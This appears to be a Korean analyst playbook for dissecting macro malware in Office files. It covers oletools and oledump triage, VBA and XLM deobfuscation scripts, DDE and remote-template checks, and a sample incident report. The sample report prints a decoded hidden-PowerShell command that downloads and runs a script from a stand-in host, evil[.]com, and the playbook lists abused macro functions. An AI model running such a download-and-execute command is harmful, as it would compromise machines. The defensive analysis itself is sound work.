오피스 문서 내 매크로 악성코드 분석은(는) 무엇을 하나요?
사용 시기
- 이메일 보안에서 의심스러운 Office 문서(.doc, .docm, .xls, .xlsm, .ppt)가 플래그된 경우
- 무기화된 Office 문서를 전달하는 피싱 캠페인을 조사할 때
- VBA 매크로 코드를 추출하여 페이로드 다운로드 URL과 실행 방식을 식별할 때
- 난독화된 VBA 코드를 분석하여 전체 공격 체인을 이해할 때
- 문서가 매크로 대신 DDE, ActiveX 또는 원격 템플릿 삽입을 사용하는지 확인할 때
사용하지 말아야 할 경우: 비매크로 Office 위협(DDE, 원격 템플릿 삽입) 분석 - 이 스킬이 탐지를 다루지만, 전문 분석이 필요할 수 있습니다.
사전 요구 사항
- Python 3.8+ 및 oletools 설치 (
pip install oletools) - Didier Stevens의 oledump.py (https://blog.didierstevens.com/programs/oledump-py/)
- Microsoft Office가 설치되지 않은 격리된 분석 VM (실수로 인한 실행 방지)
- Excel 4.0 매크로 분석용 XLMDeobfuscator (pip install xlmdeobfuscator)
- 안전한 문서 렌더링용 LibreOffice (기본적으로 VBA 매크로를 실행하지 않음)
워크플로우
1단계: 초기 문서 분류
문서에 매크로 또는 기타 활성 콘텐츠가 포함되어 있는지 확인:
# olevba로 빠른 분류
olevba suspect.docm
# OLE 스트림 및 매크로 확인
oleid suspect.docm
# 출력 지표:
# VBA Macros: True/False
# XLM Macros: True/False
# External Relationships: True/False (원격 템플릿)
# ObjectPool: True/False (임베디드 객체)
# Flash: True/False (SWF 객체)
# 포괄적인 OLE 분석
oledump.py suspect.docm
# 매크로 지표가 있는 모든 OLE 스트림 나열
# 'M'으로 표시된 스트림: VBA 매크로 포함
# 'm'으로 표시된 스트림: 매크로 속성 포함
2단계: VBA 코드 추출 및 분석
전체 VBA 매크로 소스 추출:
# 전체 난독화 해제와 함께 VBA 추출
olevba --decode --deobf suspect.docm
# VBA 소스 코드만 추출
olevba --code suspect.docm > extracted_vba.txt
# oledump를 사용한 상세 추출
oledump.py -s 8 -v suspect.docm # 스트림 8 (스트림 목록에 따라 조정)
# 모든 매크로 스트림 추출
oledump.py -p plugin_vba_dco suspect.docm
식별해야 할 주요 VBA 요소:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
자동 실행 트리거:
- Auto_Open / AutoOpen (Word)
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open (Excel)
- AutoExec
의심스러운 함수:
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell 실행
- URLDownloadToFile
- MSXML2.XMLHTTP (HTTP 요청)
- ADODB.Stream (파일 쓰기)
- Environ() (환경 변수)
- CallByName (간접 메서드 호출)
3단계: VBA 코드 난독화 해제
난독화 계층을 제거하여 페이로드 확인:
# VBA 난독화 해제 기법
import re
def deobfuscate_vba(code):
# 1. Chr() 호출 해결: Chr(104) & Chr(116) -> "ht"
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
# 2. 문자열 결합 제거: "htt" & "p://" -> "http://"
code = re.sub(r'"\s*&\s*"', '', code)
# 3. ChrW 호출 해결: ChrW(104)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
# 4. StrReverse 해결: StrReverse("exe.daolnwod") -> "download.exe"
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
# 5. Mid$/Left$/Right$ 난독화 제거 (복잡, 수동 검토 필요)
# 6. Replace() 해결: Replace("Powxershxell", "x", "")
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
return code
with open("extracted_vba.txt") as f:
vba_code = f.read()
deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)
4단계: Excel 4.0 (XLM) 매크로 분석
VBA 탐지를 우회하는 레거시 Excel 매크로 처리:
# XLM 매크로 감지
olevba --xlm suspect.xlsm
# XLM 매크로 난독화 해제
xlmdeobfuscator -f suspect.xlsm
# oledump로 수동 XLM 분석
oledump.py suspect.xlsm -p plugin_biff.py
# 주의해야 할 XLM (Excel 4.0) 매크로 함수:
# EXEC() - 셸 명령 실행
# CALL() - DLL 함수 호출
# REGISTER() - DLL 함수 등록
# URLDownloadToFileA - 파일 다운로드
# ALERT() - 메시지 표시 (사회 공학)
# HALT() - 실행 중지
# GOTO() - 제어 흐름
# IF() - 조건부 실행
5단계: 비매크로 공격 벡터 확인
DDE, 원격 템플릿, 임베디드 객체 확인:
# DDE (동적 데이터 교환) 확인
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE 필드 코드
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] DDE found in {name}')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' Command: {m}')
# 원격 템플릿
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] Remote template URL: {url}')
"
# 임베디드 OLE 객체 확인
oledump.py -p plugin_msg.py suspect.docm
# 외부 참조 확인
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'External reference in {name}:')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"
6단계: 분석 보고서 생성
전체 매크로 악성코드 분석 문서화:
보고서에는 다음이 포함되어야 합니다:
- 문서 메타데이터 (작성자, 생성일, 수정일)
- 매크로 존재 여부 및 유형 (VBA, XLM, DDE, 원격 템플릿)
- 식별된 자동 실행 트리거
- 난독화 해제된 VBA 소스 코드 (주요 함수)
- 2차 페이로드 다운로드 URL
- 실행 방식 (Shell, WScript, PowerShell, COM 객체)
- 사회 공학적 유인 설명
- 추출된 IOC (URL, 도메인, IP, 파일 해시)
- 특정 문서 패턴에 대한 YARA 규칙
주요 개념
| 용어 | 정의 |
|---|---|
| VBA 매크로 | Office 문서에 포함된 Visual Basic for Applications 코드로, OS와 상호 작용하고 파일을 다운로드하며 명령을 실행할 수 있음 |
| Auto_Open | Word 문서를 열 때 자동으로 실행되는 VBA 이벤트 프로시저로, 매크로 악성코드의 주요 트리거 |
| OLE (Object Linking and Embedding) | Microsoft 복합 문서 형식; Office 문서는 매크로와 객체를 포함할 수 있는 스트림이 있는 OLE 컨테이너 |
| DDE (Dynamic Data Exchange) | 문서에서 매크로 없이 명령을 실행하기 위해 악용되는 레거시 Windows IPC 메커니즘; 필드 코드 업데이트에 의해 트리거됨 |
| 원격 템플릿 삽입 | 문서가 열릴 때 원격 URL에서 매크로가 활성화된 템플릿을 로드하여 초기 매크로 탐지를 우회하는 공격 |
| XLM 매크로 (Excel 4.0) | VBA보다 먼저 나온 레거시 Excel 매크로 언어; 숨겨진 시트에 저장되며 기존 VBA 분석 도구에서 종종 놓침 |
| Protected View | 사용자가 "콘텐츠 활성화"를 클릭할 때까지 매크로 실행을 차단하는 Office 샌드박스; 사회 공학은 이 장벽을 대상으로 함 |
도구 및 시스템
- oletools (olevba): OLE 파일 분석, VBA 매크로 추출, 의심스러운 키워드 및 IOC 탐지를 위한 Python 도구 키트
- oledump.py: VBA 압축 해제 및 추출을 위한 플러그인 지원 OLE 스트림 분석 도구 (Didier Stevens 제작)
- XLMDeobfuscator: Excel 4.0 (XLM) 매크로 수식 난독화 해제를 위해 특별히 설계된 도구
- ViperMonkey: 샌드박스 환경에서 VBA 매크로를 실행하여 동작을 관찰하는 VBA 에뮬레이션 엔진
- YARA: VBA 문자열 패턴 및 OLE 구조 지표를 사용한 문서 기반 악성코드 탐지를 위한 패턴 매칭
일반적인 시나리오
시나리오: 난독화된 VBA 매크로가 포함된 피싱 문서 분석
상황: 여러 직원이 송장이라고 주장하는 .docm 파일이 첨부된 이메일을 수신했습니다. 문서는 전체 문서를 보려면 "콘텐츠 활성화"를 클릭하도록 안내합니다.
접근 방식:
- oleid를 실행하여 VBA 매크로 존재 여부를 확인하고 자동 실행 트리거 식별
- olevba --decode --deobf로 VBA 코드 추출하여 1차 난독화 해제
- 자동 실행 진입점 확인 (Auto_Open 또는 Document_Open)
- 진입점에서 도우미 함수를 통해 실행 흐름 추적
- 문자열 결합 및 Chr() 인코딩을 난독화 해제하여 다운로드 URL 확인
- 다운로드 방식 식별 (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
- 모든 IOC를 추출하고 특정 난독화 패턴에 대한 YARA 규칙 생성
주의사항:
- 명령줄 도구 대신 Microsoft Office에서 문서를 열어 "빠른 분석"을 시도하는 경우
- UserForms에 저장된 VBA 코드를 놓치는 경우 (GUI 요소는 이벤트 핸들러에 코드를 포함할 수 있음)
- 공격자 지문 (작성자 이름, 템플릿 이름)을 포함할 수 있는 문서 메타데이터를 무시하는 경우
- 동일 문서에서 VBA와 XLM 매크로를 모두 확인하지 않는 경우 (일부 악성코드는 둘 다 사용)
출력 형식
OFFICE MACRO MALWARE ANALYSIS
================================
문서: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
파일 유형: Microsoft Word 문서 (매크로 포함 OOXML)
작성자: Administrator
생성일: 2025-09-10 14:23:00
매크로 분석
유형: VBA 매크로
트리거: AutoOpen()
스트림: 3개 VBA 스트림 (ThisDocument, Module1, Module2)
난독화 해제된 실행 체인
1. AutoOpen() -> Module1.RunPayload() 호출
2. RunPayload()가 Chr() 결합을 통해 명령 문자열 작성
3. 명령: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. 디코딩됨: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
사회 공학적 유인
- 문서에 가짜 "Protected Document" 이미지 표시
- 사용자에게 문서를 보려면 "콘텐츠 활성화"를 선택하라고 안내
- 매크로가 실행될 때까지 콘텐츠가 흐리게/숨김 처리됨
추출된 IOC
다운로드 URL: hxxp://evil[.]com/payload.ps1
C2 도메인: evil[.]com
IP 주소: 185.220.101[.]42
사용자 에이전트: PowerShell (기본 WebClient)
MITRE ATT&CK
T1566.001 피싱: 정밀 피싱 첨부파일
T1204.002 사용자 실행: 악성 파일
T1059.001 명령 및 스크립팅 인터프리터: PowerShell
T1059.005 명령 및 스크립팅 인터프리터: Visual Basic